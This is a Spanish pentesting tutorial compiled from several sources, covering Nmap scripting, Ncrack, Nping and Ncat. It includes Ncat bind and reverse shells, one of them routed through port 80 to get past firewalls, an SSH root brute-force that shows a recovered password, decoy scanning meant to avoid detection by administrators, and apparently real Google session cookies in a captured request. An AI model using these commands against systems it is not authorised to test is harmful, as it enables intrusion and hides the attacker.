5800/tcp  open     vnc-http
5900/tcp  open     vnc
……….
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)
Host script results:
| smb-os-discovery: 
|   OS: Windows Vista (TM) Home Premium 6001 Service Pack 1 (Windows Vista (TM) Home Premium 6.0)
|   Name: WORKGROUP\GROUP
|_  System time: 2011-07-29 21:19:43 UTC+2

Si queremos lanzarlo en funcion de una determinada categoria podriamos lanzar lo siguiente:

#nmap –script “not intrusive”
#nmap –script “default or safe”
#nmap –script default,safe

#nmap –script-trace (nos muestra información sobre lo que va haciendo a nivel de aplicación)

Podemos realizar búsquedas para dar con lo que nos interesa.

#nmap –script-help “*-brute”

Starting Nmap 5.51 ( http://nmap.org )

afp-brute
Categories: intrusive auth
http://nmap.org/nsedoc/scripts/afp-brute.html
  Performs password guessing against Apple Filing Protocol (AFP)

domcon-brute
Categories: intrusive auth
http://nmap.org/nsedoc/scripts/domcon-brute.html
  Performs brute force password auditing against the Lotus Domino Console.Ahora vamos a ver algunos ejemplos:
De un determinado tipo
nmap –script “http-*”
Con una conbinación de condiciones
nmap –script “(default or safe or intrusive) and not http-*”
Tenemos una lista en la WEB (http://nmap.org/nse)

#nmap –script -sC

Realiza un scaneo utilizando los scripts por defecto. Es equivalente a –script=default. Bastante intrusivo y nos va a gererar mucho ruido.

Podemos lanzarlos de un determinado tipo
#nmap -p80 –script “http-*” 10.207.214.102

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.102
Host is up (0.00012s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-brute:   
|_  ERROR: No path was specified (see http-brute.path)
|_http-methods: GET HEAD POST OPTIONS
|_http-iis-webdav-vuln: ERROR: This web server is not supported.
|_http-malware-host: Host appears to be clean
| http-headers: 
|   Date: Fri, 29 Jul 2011 21:58:03 GMT
|   Server: Apache/2.2.16 (Debian)
|   Last-Modified: Wed, 20 Jul 2011 14:07:57 GMT
|   ETag: “48e03c-b1-4a880c25d0940″
|   Accept-Ranges: bytes
|   Content-Length: 177
|   Vary: Accept-Encoding
|   Connection: close
|   Content-Type: text/html
|   
|_  (Request type: HEAD)
|_http-date: Fri, 29 Jul 2011 21:58:03 GMT; 0s from local time.
| http-form-brute:   
|_  ERROR: No uservar was specified (see http-form-brute.uservar)
|_http-title: Site doesn’t have a title (text/html).
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing
| http-domino-enum-passwords:   
|_  ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)

Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds

si solo queremos recuperar las cabeceras HTTP

#nmap –script http-headers url

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for Server
Host is up (0.012s latency).
rDNS record for 194.30.X.XXX
Not shown: 991 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
25/tcp   filtered smtp
80/tcp   open     http
| http-headers: 
|   Date: Sun, 31 Jul 2011 08:45:15 GMT
|   Server: Apache/2.2.14 (FreeBSD) mod_ssl/2.2.14 OpenSSL/0.9.8k
|   X-Powered-By: PHP/5.2.12
|   Expires: Thu, 19 Nov 1981 08:52:00 GMT
|   Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
|   Pragma: no-cache
|   X-Pingback: http://Url/xmlrpc.php
|   Link: <http://wp.me/sxAZ&gt;; rel=shortlink
|   Set-Cookie: PHPSESSID=53fb1aad1603dd1c4cf24e005915375c; path=/
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: HEAD)
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
873/tcp  open     rsync
1720/tcp filtered H.323/Q.931
8649/tcp open     unknown

Nmap done: 1 IP address (1 host up) scanned in 13.42 seconds

Montar una combinación de condiciones:

#nmap –script “(default or safe or intrusive) and not http-*”

Podemos buscar presencia de malware.

#nmap –script http-malware-host 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )                                                                                                        
Nmap scan report for 10.207.214.10                                                                                                                                    
Host is up (0.0084s latency).
Not shown: 987 closed ports                                                                                                                                           
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
912/tcp   open     apex-mesh
990/tcp   filtered ftps
5357/tcp  open     wsdapi
5800/tcp  open     vnc-http
|_http-malware-host: Host appears to be clean
5900/tcp  open     vnc
49152/tcp open     unknown
49153/tcp open     unknown
49155/tcp open     unknown
49156/tcp open     unknown
49163/tcp open     unknown
MAC Address: 00:19:DB:81:XX:XX (Micro-star International CO.)

Nmap done: 1 IP address (1 host up) scanned in 4.29 seconds

#nmap -P0 -n -sS -p445,139 –script=smb-os-discovery.nse 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org
Nmap scan report for 10.207.214.199
Host is up (0.081s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0E:35:0C:XX:XX (Intel)

Host script results:
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   Name: VATSS\SOBRE
|_  System time: 2011-07-29 21:41:47 UTC+2

Nmap done: 1 IP address (1 host up) scanned in 3.18 seconds

#nmap -p53 –script dns-zone-transfer –script-args dnszonetransfer.domain=dominio.com DNS

#nmap -sS -p80 –script=http-enum 10.207.214.16

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.16
Host is up (0.018s latency).
PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /icons/: Potentially interesting folder w/ directory listing

Nmap done: 1 IP address (1 host up) scanned in 197.89 seconds

Para enumerar sesiones y buscar vulnerabilidades SMB:

#nmap –script smb-enum-sessions 10.207.214.199

#nmap -p445 –script=smb-check-vulns 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org )

Nmap scan report for 10.207.214.199
Host is up (0.042s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0E:35:0C:XX:XX (Intel)

Host script results:
| smb-check-vulns: 
|   MS08-067: NOT VULNERABLE
|   Conficker: Likely CLEAN
|   regsvc DoS: CHECK DISABLED (add ‘–script-args=unsafe=1′ to run)
|   SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add ‘–script-args=unsafe=1′ to run)
|   MS06-025: CHECK DISABLED (remove ‘safe=1′ argument to run)
|_  MS07-029: CHECK DISABLED (remove ‘safe=1′ argument to run)

Nmap done: 1 IP address (1 host up) scanned in 13.97 seconds

#nmap -Pn -sT -p445 –script=smb-brute 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.199
Host is up (0.0013s latency).
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-brute: 
|_  No accounts found

#nmap -sU -p161 –script=snmp-netstat 10.207.214.120
#nmap -sU -p161 –script=snmp-win32-services -n 10.207.214.120
#nmap -sU -p161 –script=snmp-win32-shares -n 10.207.214.120
#nmap -sU -p161 –script=snmp-win32-users -n 10.207.214.120

En busca de banners que nos reporten información sobre los servicios corriendo en la máquina.

#nmap -sV –script=banner 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.199
Host is up (0.038s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  microsoft-rdp Microsoft Terminal Service
Service Info: OS: Windows

#nmap –script safe,banner 10.207.214.10

Starting Nmap 5.51 ( http://nmap.org )
Pre-scan script results:
| broadcast-upnp-info: 
|   10.207.214.10
|       Server: Windows NT/6.0, UPnP/1.0, Jamcast/1.5
|_      Location: http://10.207.214.10:58642/rootdevice.xml
| broadcast-wsdd-discover: 
|   Devices
|     10.207.214.10
|         Message id: 3791be30-fb77-4180-b885-c8bf556f338a
|         Address: http://10.207.214.10:5357/0b893c4e-833f-4366-82d5-b5fc01b3b09d
|_        Type: Device pub:Computer
| broadcast-dns-service-discovery: 
|   10.207.214.102
|     9/tcp workstation
|_      Address=10.207.214.102 fe80:0:0:0:222:fbff:fe9a:a76c
Nmap scan report for 10.207.214.10
Host is up (0.035s latency).
Not shown: 987 closed ports
PORT      STATE    SERVICE
135/tcp   open     msrpc
139/tcp   open     netbios-ssn
445/tcp   open     microsoft-ds
912/tcp   open     apex-mesh
| banner: 220 VMware Authentication Daemon Version 1.0, ServerDaemonProto
|_col:IPC, MKSDisplayProtocol:VNC ,
990/tcp   filtered ftps
5357/tcp  open     wsdapi
5800/tcp  open     vnc-http
| http-headers: 
|   
|_  (Request type: GET)
5900/tcp  open     vnc
| vnc-info:   
|_  ERROR: Unsupported version (RFB 003.006)
|_banner: RFB 003.006
49152/tcp open     unknown
49153/tcp open     unknown
49155/tcp open     unknown
49156/tcp open     unknown
49163/tcp open     unknown

Host script results:
|_smbv2-enabled: Server supports SMBv2 protocol
|_nbstat: NetBIOS name: MASTER, NetBIOS user: <unknown>, NetBIOS MAC: 00:19:db:81:xx:xx (Micro-star International CO.)
| smb-security-mode: 
|   Account that was used for smb scripts: <blank>
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows Vista (TM) Home Premium 6001 Service Pack 1 (Windows Vista (TM) Home Premium 6.0)
|   Name: WORKGROUP\GRUPO
|_  System time: 2011-07-31 11:03:11 UTC+2

Nmap done: 1 IP address (1 host up) scanned in 56.11 seconds

#nmap -P0 -n -sS -p445,139 –script=smb-security-mode.nse 10.207.214.199

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.199
Host is up (0.082s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:0E:35:0C:XX:XX (Intel)

Host script results:
| smb-security-mode: 
|   Account that was used for smb scripts: guest
|   User-level authentication
|   SMB Security: Challenge/response passwords supported
|_  Message signing disabled (dangerous, but default)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

Podemos descargarnos scripts de terceros como vulscan o poder realizar los nuestros propios.

Starting Nmap 5.51 ( http://nmap.org )
Nmap scan report for 10.207.214.199
Host is up (0.040s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
|_vulscan: [67783] Microsoft Windows SDK for Windows 7 / .NET Framework 4 GraphEdit Path Subversion Arbitrary DLL Injection Code Execution
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
|_vulscan: [67783] Microsoft Windows SDK for Windows 7 / .NET Framework 4 GraphEdit Path Subversion Arbitrary DLL Injection Code Execution
3389/tcp open  microsoft-rdp Microsoft Terminal Service
| vulscan: [11395] F-Secure Anti-Virus for Microsoft Exchange Nested Password Protected Archives Bypass
| [13595] Microsoft Windows Sharepoint Services HTML Redirection XSS
| [42331] Symantec Multiple Products  Symantec Decomposer RAR File Handling Memory Consumption DoS
| [9951] Microsoft Multiple Products  GDIPlus.dll JPEG Processing Overflow
| [5581] Trend Micro ScanMail for Microsoft Exchange Administrative Credential Disclosure
| [9818] F-Secure Anti-Virus For Microsoft Exchange Content Scanner Server Exception Handling DoS
| [10132] Microsoft SQL Server Authentication Function Remote Overflow
| [67783] Microsoft Windows SDK for Windows 7 / .NET Framework 4 GraphEdit Path Subversion Arbitrary DLL Injection Code Execution
| [66992] Microsoft Silverlight Pointer Handling Unspecified Memory Corruption
| [66973] Microsoft XML Core Services Msxml2.XMLHTTP.3.0 ActiveX HTTP Response Handling Memory Corruption
| [66296] Microsoft Office Outlook SMB Attachment Handling Arbitrary Program Execution
| [66294] Microsoft Office Access AccWizObjects ActiveX Remote Code Execution
| [66295] Microsoft IE / Office FieldList ActiveX (ACCWIZ.dll) Remote Code Execution
| [67119] Microsoft Outlook Web Access (OWA) Multiple Function CSRF 
| [71017] Microsoft Malware Protection Engine (MMPE) Crafted Registry Key Local Privilege Escalation
| [70444] Microsoft Data Access Components (MDAC / WDAC) MSADO Record CacheSize Handling Remote Code Execution
|_[70443] Microsoft Data Access Components (MDAC / WDAC) ODBC API (odbc32.dll) SQLConnectW Function DSN / szDSN Argument Handling Overflow
MAC Address: 00:0E:35:0C:XX:XX (Intel)
Service Info: OS: Windows

Ejemplos: attackvector
Referencias: SeguridadYRedes
Lista de todos los scripts de la página de nmap.

Podemos representar gráficamente los resultados de un escaneo Nmap con alguna herramienta tal como Afterglow explicada perfectamente en el blog SeguridadYRedes. Abrimos un par de consolas

Consola1

#nmap -sS -P0 -p80 -D 10.207.214.1,10.207.214.2 blog.iurlek.com

Consola2

#tcpdump -i wlan0 host blog.iurlek.com -w captura1.cap

Una vez realizada la captura, ejecutamos los siguientes comandos:

#tshark -nn -r captura.cap -R “tcp” -T fields -E separator=, -e ip.src -e tcp.flags -e ip.dst | sort -u > captura.csv
#cat captura.csv | perl afterglow.pl -c color.properties > captura.dot
#dot -Tpng -o captura.png ./captura.dot

Y obtenemos una representación gráfica tal que:

Podemos modificar el aspecto de la figura a través del fichero color.properties.

OTROS COMPLEMENTOS MUY PODEROSOS PARA NMAP

Y por último vamos a ver una serie de herramientas con las que el equipo de NMAP complementa a su querido nmap.

Seguro que hemos oido hablar de THC-Hydra o Medusa para realizar ataques de fuerza fruta contra protocolos, pero ahora les empieza a acompañar NCRACK:

Cuando los compilamos vemos que soporta los siguientes protocolos:

g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_ssh.cc -o ncrack_ssh.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_smb.cc -o ncrack_smb.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_rdp.cc -o ncrack_rdp.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_ftp.cc -o ncrack_ftp.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_telnet.cc -o ncrack_telnet.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_http.cc -o ncrack_http.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_pop3.cc -o ncrack_pop3.o
g++ -c -I.. -I../nsock/include -I../nbase -I../opensshlib -DHAVE_CONFIG_H  ncrack_vnc.cc -o ncrack_vnc.o

Veamos un ejemplo de como funciona:

#ncrack -v -p 22 –user root 10.207.214.100 -P passfile

Starting Ncrack 0.4ALPHA ( http://ncrack.org )

Discovered credentials on ssh://10.207.214.100:22 ‘root’ ‘PruebasXX1′
ssh://10.207.214.100:22 finished.

Discovered credentials for ssh on 10.207.214.100 22/tcp:
10.207.214.100 22/tcp ssh: ‘root’ ‘PruebasXX1′

Ncrack done: 1 service scanned in 3.00 seconds.
Probes sent: 1 | timed-out: 0 | prematurely-closed: 0

Ncrack finished.

Del mismo modo puede que hayamos utilizado herramientas como Hping o Scapy para la manipulación de paquetes. Ahora les acompañara (salvando las distancias) una nueva herramienta llamada NPing.

#nping -c 1 –tcp -p 80 url

Starting Nping 0.5.51 ( http://nmap.org/nping 
SENT (0.0580s) TCP 10.207.214.102:10496 > 194.30.0.194:80 S ttl=64 id=2498 iplen=40  seq=2810552515 win=1480 
RCVD (0.0734s) TCP 194.30.0.194:80 > 10.207.214.102:10496 SA ttl=58 id=34713 iplen=44  seq=1157979279 win=65535 <mss 1460>
nping_event_handler(): READ-PCAP killed: Resource temporarily unavailable
nping_event_handler(): TIMER killed: Resource temporarily unavailable

Max rtt: 15.383ms | Min rtt: 15.383ms | Avg rtt: 15.383ms
Raw packets sent: 1 (40B) | Rcvd: 1 (44B) | Lost: 0 (0.00%)
Tx time: 0.00014s | Tx bytes/s: 279720.28 | Tx pkts/s: 6993.01
Rx time: 0.99960s | Rx bytes/s: 44.02 | Rx pkts/s: 1.00
Nping done: 1 IP address pinged in 1.09 seconds

Y por último quien no ha oido hablar de netcat, la llamada navaja suiza. Si has hecho “buen” uso de ella, puedes estas interesado en una reimplementación en NCat.

Vamos a empezar por ir comentando cosillas…

Para estar escuchando en puerto:
#ncat -l 81
#ncat -l 81 –ssl  (soportando SSL)

Conectarnos a un puerto:

#ncat Server 80
GET / HTTP/1.1

HTTP/1.1 400 Bad Request
Date: Sat, 30 Jul 2011 12:04:39 GMT
Server: Apache/2.2.14 (FreeBSD) mod_ssl/2.2.14 OpenSSL/0.9.8k
Content-Length: 347
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.14 (FreeBSD) mod_ssl/2.2.14 OpenSSL/0.9.8k Server Port 80</address>
</body></html>

Si no se especifica ningun puerto, por defecto escuchara en el  31337

Para conectarnos a una sesión de telnet.
#ncat -t IP 23

Port Forwarding: Rediriguir el trafico del puerto 80 escuchando en la maquina local al puerto 85 de nuestro host

#ncat –sh-exec “ncat mi_host_escuchando 85″ -l 80 –keep-open

Si queremos generar un fichero con la salida:

#ncat -l 10.207.214.102 81 –sh-exec “ncat http://www.google.com 80 -o salida.txt -x hex.txt

#cat salida.txt
GET http://www.google.es/ HTTP/1.1^M
Host: http://www.google.es^M
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0^M
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8^M
Accept-Language: en-us,en;q=0.5^M
Accept-Encoding: gzip, deflate^M
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7^M
Proxy-Connection: keep-alive^M
Cookie: PREF=ID=2f2fded6deb705ad:U=6e87479a2f64a990:TM=1308038122:LM=1308063526:S=Ij6trqY9ytNnOBg2; NID=49=JTwIqh6vB1I9flDEmRavtLTljcIE7Hgb3sLcUfLkuu9yJCYBkBFDWNPaUCyHqaWLyHJa1QfWqfAKWQe4u81paMGMxthljh79NL00oVcc75AOAm7f4TfElzqjEtQLgbmz; SID=DQAAALcAAABW9TzgcqxKMWOs4SHEu7S_1Yt5b-SbEdNTaLTN2-SaQsFkj7TbzbADoroohC8y-i0ufsP8ykYH9BMcxbCJa2m_O8G55QB_c3woIWmMME2bHfE6PrK8BwBRgnlkLwm2a1hIG5Ex8j_0QFFpkBFCtkFiz2QwIV8ceGCEy32tGrVqolnsh7mWpntLOurkfE10Cc-kJ6xEPOI-KRt4nFg7oZk1KyGmsI2KYVSCLpcumKXEoZ44rcFe-APGqpijANqUFqI; HSID=AXuk06PCLeeu_oWUf^M

La opción keep-open mantiene la conexion aunque el cliente se desconecte, lo cual es muy interesante.

Podemos generar banners:

#vi banner
#ncat -l 81 < banner

#telnet 10.207.214.10 81
Trying 10.207.214.10…
Connected to 10.207.214.10.
Escape character is ‘^]’.
GET / HTTP/1.1

Podemos añadir funcionalidad de chat.

#ncat -l 74 –chat

Si vamos lanzando conexiones telnet a esa IP/puerto ya tenemos nuestro chat (Y recordar que tenemos SSL)

Nos damos acceso a la shell de Windows solo a nosotros a traves del puerto 81

#ncat –exec “cmd.exe” –max-conns 1 –allow 10.207.214.100/32 -l 81 –keep-open

#telnet 10.207.214.199 81
Trying 10.207.214.199…
Connected to 10.207.214.199.
Escape character is ‘^]’.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\programas\ncat>dir
dir
El volumen de la unidad C no tiene etiqueta.
El n�mero de serie del volumen es: F876-F0CA

Directorio de C:\programas\ncat
30/07/2011  13:13    <DIR>
…….

Nos pasamos un shell por el puerto 80 que no estara filtrado generalmente en el firewall
Cliente: #ncat 10.207.214.102 80 -e cmd
Server: #ncat -l 80

Microsoft Windows [Versi�n 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  Reservados todos los derechos.

C:\PROGRA~3

Podemos crear un servidor proxy en el puerto 81.

#ncat -l –proxy-type http 10.207.214.10 81

Y si ahora lo queremos con autenticación de user/pass

#ncat -l 81 –proxy-type http –proxy-auth pepe:pepe –ssl –allow 10.207.214.100

Vamos ahora a enviar un fichero a tarves del puerto 81 desde el cliente al servidor.

MAQUINA1# ncat -l 81 > outputfile
MAQUINA2# ncat HOST1 81 < inputfile

Lo mismo pero pasando por una maquina intermedia.

MAQUINA3# ncat -l > log.txt
MAQUINA2# ncat -l | ncat host3
MAQUINA1# ncat –send-only host2 < log.txt

Con encriptación y que solo nos permita enviar

#ncat -l –ssl 81 –send-only < fichero

User Guide NCat

VIDEO: Irongeek

10 TRUCOS PARA OPTIMIZAR AUN MAS A NMAP

In addition to my list you can also check out this Comprehensive Guide to Nmaphere and of course the man pages
Here are some really cool scanning techniques using Nmap

1) GET INFO ABOUT REMOTE HOST PORTS AND OS DETECTION

nmap -sS -P0 -sV -O <target>

Where < target > may be a single IP, a hostname or a subnet

-sS TCP SYN scanning (also known as half-open, or stealth scanning)

-P0 option allows you to switch off ICMP pings.

-sV option enables version detection

-O flag attempt to identify the remote operating system

Other option:

-A option enables both OS fingerprinting and version detection

-v use -v twice for more verbosity.

nmap -sS -P0 -A -v < target >

2) GET LIST OF SERVERS WITH A SPECIFIC PORT OPEN

nmap -sT -p 80 -oG – 192.168.1.* | grep open

Change the -p argument for the port number. See “man nmap” for different ways to specify address ranges.

3) FIND ALL ACTIVE IP ADDRESSES IN A NETWORK

nmap -sP 192.168.0.*

There are several other options. This one is plain and simple.

Another option is:

nmap -sP 192.168.0.0/24

for specific  subnets

4)  PING A RANGE OF IP ADDRESSES

nmap -sP 192.168.1.100-254

nmap accepts a wide variety of addressing notation, multiple targets/ranges, etc.

5) FIND UNUSED IPS ON A GIVEN SUBNET

nmap -T4 -sP 192.168.2.0/24 && egrep “00:00:00:00:00:00″ /proc/net/arp

6) SCAN FOR THE CONFICKER VIRUS ON YOUR LAN ECT.

nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254

replace 192.168.0.1-256 with the IP’s you want to check.

7) SCAN NETWORK FOR ROGUE APS.

nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout 2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m –max-scan-delay 1000 -oA wapscan 10.0.0.0/8

I’ve used this scan to successfully find many rogue APs on a very, very large network.

8) USE A DECOY WHILE SCANNING PORTS TO AVOID GETTING CAUGHT BY THE SYS ADMIN

sudo nmap -sS 192.168.0.10 -D 192.168.0.2

Scan for open ports on the target device/computer (192.168.0.10) while setting up a decoy address (192.168.0.2). This will show the decoy ip address instead of your ip in targets security logs. Decoy address needs to be alive. Check the targets security log at /var/log/secure to make sure it worked.

9) LIST OF REVERSE DNS RECORDS FOR A SUBNET

nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2″) no PTR”;else print$3″ is “$2}’ | grep ‘(‘

This command uses nmap to perform reverse DNS lookups on a subnet. It produces a list of IP addresses with the corresponding PTR record for a given subnet. You can enter the subnet in CDIR notation (i.e. /24 for a Class C)). You could add “–dns-servers x.x.x.x” after the “-sL” if you need the lookups to be performed on a specific DNS server. On some installations nmap needs sudo I believe. Also I hope awk is standard on most distros.

10) HOW MANY LINUX AND WINDOWS DEVICES ARE ON YOUR NETWORK?

sudo nmap -F -O 192.168.0.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"

Hope you have fun, and remember don’t practice these techniques on machines or networks that are not yours.

EN ESPAÑOL (10 TRUCOS OPTIMIZAR AUN MAS A NMAP)

1- Obtener información de un host remoto y detección del SO:

nmap -sS -P0 -sV -O [dirección]

-sS =escaneo TCP SYN (o escaneo sigiloso)
-P0 =no se envían pings ICMP
-sV =detecta las versiones
-O =se intenta identificar el Sistema Operativo
Otras opciones:
-A =habilita OS fingerprinting y detección de versión
-v =usar dos veces -v para obtener mas detalles

2- Listar servidores con un puerto especifico abierto:

nmap -sT -p 80 -oG – 192.168.1.* | grep open

Cambiar el argumento -p por el numero del puerto.

3- Detectar IP’s activas en una red:

nmap -sP 192.168.0.*

Otra opción para subnets es:

nmap -sP 192.168.0.0/24

4- Hacer ping a un rango de IP’s:

nmap -sP 192.168.1.100-254

Nmap acepta una gran variedad de rangos, notación de direcciones, objetivos múltiples, etc.

5- Encontrar IP’s no usadas en una subnet:

nmap -T4 -sP 192.168.2.0/24 && egrep “00:00:00:00:00:00″ /proc/net/arp

6- Escanear en busca del virus Conficker:

nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254

Reemplazar 192.168.0.1-254 con las IP’s que se quiere escanear.

7- Escanear red en busca de AP falsos:

nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout 2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m –max-scan-delay 1000 -oA wapscan 10.0.0.0/8

Funciona incluso en grandes redes.

8- Crear un señuelo durante el escaneo de puertos para evitar ser detectado:

sudo nmap -sS 192.168.0.10 -D 192.168.0.2

Escanea los puertos del nodo 192.168.1.10 mientras spoofea la IP 192.168.0.2 como nodo atacante (esta IP debe estar activa) así parecerá que el escaneo se ejecuta desde la IP192.168.0.2 (la ip spoofeada). Comprobar los logs en /var/log/secure para comprobar si ha funcionado correctamente.

9- Listar los registros DNS inversos de una subred:

nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2″) no PTR”;else print$3″ is “$2}’ | grep ‘(‘

Este comando hace un reverse DNS lookup en una subred, se crea una lista con las direcciones IP de los registros PTR en la subred indicada. Se puede insertar la subred en notación CDIR (ejemplo: /24 para la Clase C). Puedes agregar “-dns-servers x.x.x.x” después del parámetro “-sL” si quieres realizar el listado sobre un servidor DNS especifico.

10- Cuántos nodos con Linux y cuántos con Windows hay en una red:

sudo nmap -F -O 192.168.0.1-255 | grep “Running: ” &gt; /tmp/os; echo “$(cat /tmp/os | grep Linux | wc -l) Linux device(s)”; echo “$(cat /tmp/os | grep Windows | wc -l) Window(s) devices

NOTA ACLARATORIA: Esto es un Copy & Paste de varias fuentes de informacion que a mi parecer debian ir juntas en un solo post 😉

http://blog.iurlek.com/2011/07/nmap-avanzado-el-arte-de-escanear/

http://www.linux-magazine.es/issue/15/NMap.pdf

http://blog.urfix.com/10-cool-nmap-tricks-techniques/

http://systemadmin.es/2012/08/evitar-la-deteccion-de-os-en-nmap-con-el-proc

http://his.sourceforge.net/proy_his/papers/nmap/nmap.es.html

http://nmap.org/docs.html

http://www.taringa.net/posts/linux/14368088/10-Formas-interesantes-de-usar-Nmap.html

http://sysopshell.blogspot.com/2010/03/escanear-objetivo-con-nmap.html


SCANNING (Búsqueda)

El Scaneo, como método de descubrir canales de comunicación susceptibles de ser explotados, lleva en uso mucho tiempo. La idea es recorrer (scanear) tantos puertos de escucha como sea posible, y guardar información de aquellos que sean receptivos o de utilidad para cada necesidad en particular. Muchas utilidades de auditoría también se basan en este paradigma.

El Scaneo de puertos pertenece a la Seguridad Informática desde que era utilizado en los sistemas de telefonía. Dado que actualmente existen millones de números de teléfono a los que se pueden acceder con una simple llamada, la solución lógica (para encontrar números que puedan interesar) es intentar conectarlos a todos.

La idea básica es simple: llamar a un número y si el módem devuelve un mensaje de conectado, grabar el número. En otro caso, la computadora cuelga el teléfono y llama al siguiente número. Scanear puertos implica las mismas técnicas de fuerza bruta. Se envía una serie de paquetes para varios protocolos y se deduce que servicios están “escuchando” por las respuestas recibidas o no recibidas.

Existen diversos tipos de Scanning según las técnicas, puertos y protocolos explotados:

TCP Connect() Scanning

Esta es la forma básica del scaneo de puertos TCP. Si el puerto está escuchando, devolverá una respuesta de éxito; cualquier otro caso significará que el puerto no está abierto o que no se puede establecer conexión con a él.

Las ventajas que caracterizan esta técnica es que no necesita de privilegios especiales y su gran velocidad.

Su principal desventaja es que este método es fácilmente detectable por el Administrador del sistema. Se verá un gran número de conexiones y mensajes de error para los servicios en los que se ha conseguido conectar la máquina que lanza el scanner e inmediatamente se ha desconectado.

TCP SYN Scanning

Cuando dos procesos establecen una comunicación usan el modelo Cliente/Servidor para establecer la conexión. La aplicación del Servidor “escucha” todo lo que ingresa por los puertos. La identificación del Servidor se efectúa a través de la dirección IP del sistema en el que se ejecuta y del número de puerto del que depende para la conexión. El Cliente establece la conexión con el Servidor a través del puerto disponible para luego intercambiar datos.

La información de control llamada HandShake (saludo) se intercambia entre el Cliente y el Servidor para establecer un dialogo antes de transmitir datos.

Los “paquetes” o segmentos TCP tienen banderas que indican el estado del mismo.

El protocolo TCP de Internet, sobre el que se basa la mayoría de los servicios (incluyendo el correo electrónico, el web y el IRC) implica esta conexión entre dos máquinas. El establecimiento de dicha conexión se realiza mediante lo que se llama Three-Way Handshake (“conexión en tres pasos”) ya intercambian tres segmentos. En forma esquemática se tiene:

1.      El programa Cliente (C) pide conexión al Servidor (S) enviandole un segmento SYN (Synchronize Sequence Number). Este segmento le dice a S que C desea establecer una conexión.

2.      Si (si está abierto y escuchando) al recibir este segmento SYN (activa su indicador SYN) y envía una autentificación ACK de manera de acuse de recibo a C. Si S está cerrado envía un indicador RST.

3.      C entonces ACKea (autentifica) a S. Ahora ya puede tener lugar la transferencia de datos.

